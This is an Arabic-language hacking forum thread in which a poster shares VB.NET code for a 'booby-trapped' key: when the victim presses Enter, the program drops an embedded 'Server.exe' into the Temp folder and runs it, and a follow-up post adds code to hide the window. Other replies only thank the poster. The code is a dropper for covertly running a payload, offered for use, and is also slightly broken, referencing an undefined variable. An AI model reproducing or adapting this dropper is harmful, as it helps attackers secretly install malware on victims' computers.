حالة الموضوع:
مغلق
  1. T0rJaNdZ

    T0rJaNdZ Developer

    الأنتساب:
    ‏7 يونيو 2015
    المشاركات:
    60
    الإعجابات المتلقاة:
    11
    نقاط الجائزة:
    8
    الوظيفة:
    اعمل لنفسي
    الإقامة:
    ارض الله الواسعة
    [​IMG]

    اللهم صلي على محمد وال محمد كما صليت على ابراهيم و ال ابراهيم انك حميد مجيد
    عندما تكون الحروف تائهة علي الشفاه فيعقد معها الكلام ينبثق الشعر فيتغلغل الدفْ إلى الأعماق ~..

    يتسرب من ثقوب الأيام مزيجمن عطر الأمسيات الباقية وتتفتح زهيرات للأمل وتطير الحروف حتى ~..

    تنبلج في الفضاء ونـمنحكن ضوءاً مشمساً أجمل من النهار فننسج من خيوط الشمس و نسطر ~..

    الشعر بلا كلمات ونقدم للأيام بهائها وللحنين تألقه نزداد ابتهاجاً ~..

    ا[آهلآ بكَم ]
    *
    اعضاء زوار منتدى عراق تيم الكرام
    [​IMG]
    تلغيم زر في الكيبورد من خلال كود شرطي
    شرح الكود
    متال انا مخلي بالكود الزر enter
    'لو المستخدم ضغط على حرف انتر يشتغل الشرط وبأمكانك التعديل الكيبورد كامل تحت امرك
    لن اطيل عليكم
    كود:
    Public Class Form1
        Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal key As Integer) As Integer
        Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
            Timer1.Start()
        End Sub
        Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
            Dim scream1 As Boolean
            scream1 = GetAsyncKeyState(Keys.Enter) '< مفتاح الكيبورد المراد  انتر
            If scream1 = True Then
                Text = "XX"
            End If
            If Text = "XX" Then
                Dim Dire As String = My.Computer.FileSystem.SpecialDirectories.Temp
                Dim mustafa As String = Dire + "Server.exe"
                IO.File.WriteAllBytes(louai, My.Resources.Server)
                If IO.File.Exists(louai) Then
                    Process.Start(louai)
                End If
            End If
        End Sub
    End Class
    [​IMG]
    سكيورتي ارهابي
    بكر العراقي
    سكريم
    غزة ديزاد
    والى كل مشفرين واعضاء وزوار منتدى شبكة عراق تيم
    بدون استتناء
    [​IMG]
     
  2. T0rJaNdZ

    T0rJaNdZ Developer

    الأنتساب:
    ‏7 يونيو 2015
    المشاركات:
    60
    الإعجابات المتلقاة:
    11
    نقاط الجائزة:
    8
    الوظيفة:
    اعمل لنفسي
    الإقامة:
    ارض الله الواسعة
    رد: تلغيمة شرطية تعتمد على زر

    نسيت اقولكم لازم تضيفو تايمر و تكتبو
    بعد هدا الكود
    Timer1.Start()
    --
    me.hide
    عشان يتم اخفاء الفورم
    وراح يصير الكود بهدا الشكل
    =====

    Timer1.Start()
    me.hide
     
  3. Otmàn Bê

    Otmàn Bê New Developer

    الأنتساب:
    ‏22 مارس 2016
    المشاركات:
    2
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: تلغيمة شرطية تعتمد على زر

    شكرا على الشرح اخي


    [​IMG]



     
  4. ‏‎Yassin Ruling‎‏

    ‏‎Yassin Ruling‎‏ Developer

    الأنتساب:
    ‏10 يناير 2016
    المشاركات:
    82
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    8
    رد: تلغيمة شرطية تعتمد على زر

    احسنت النشر واصل
     
  5. حسين رضا

    حسين رضا Developer

    الأنتساب:
    ‏6 فبراير 2016
    المشاركات:
    90
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    8
    رد: تلغيمة شرطية تعتمد على زر

    عاشت الايادي :{1!}::{1!}:
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة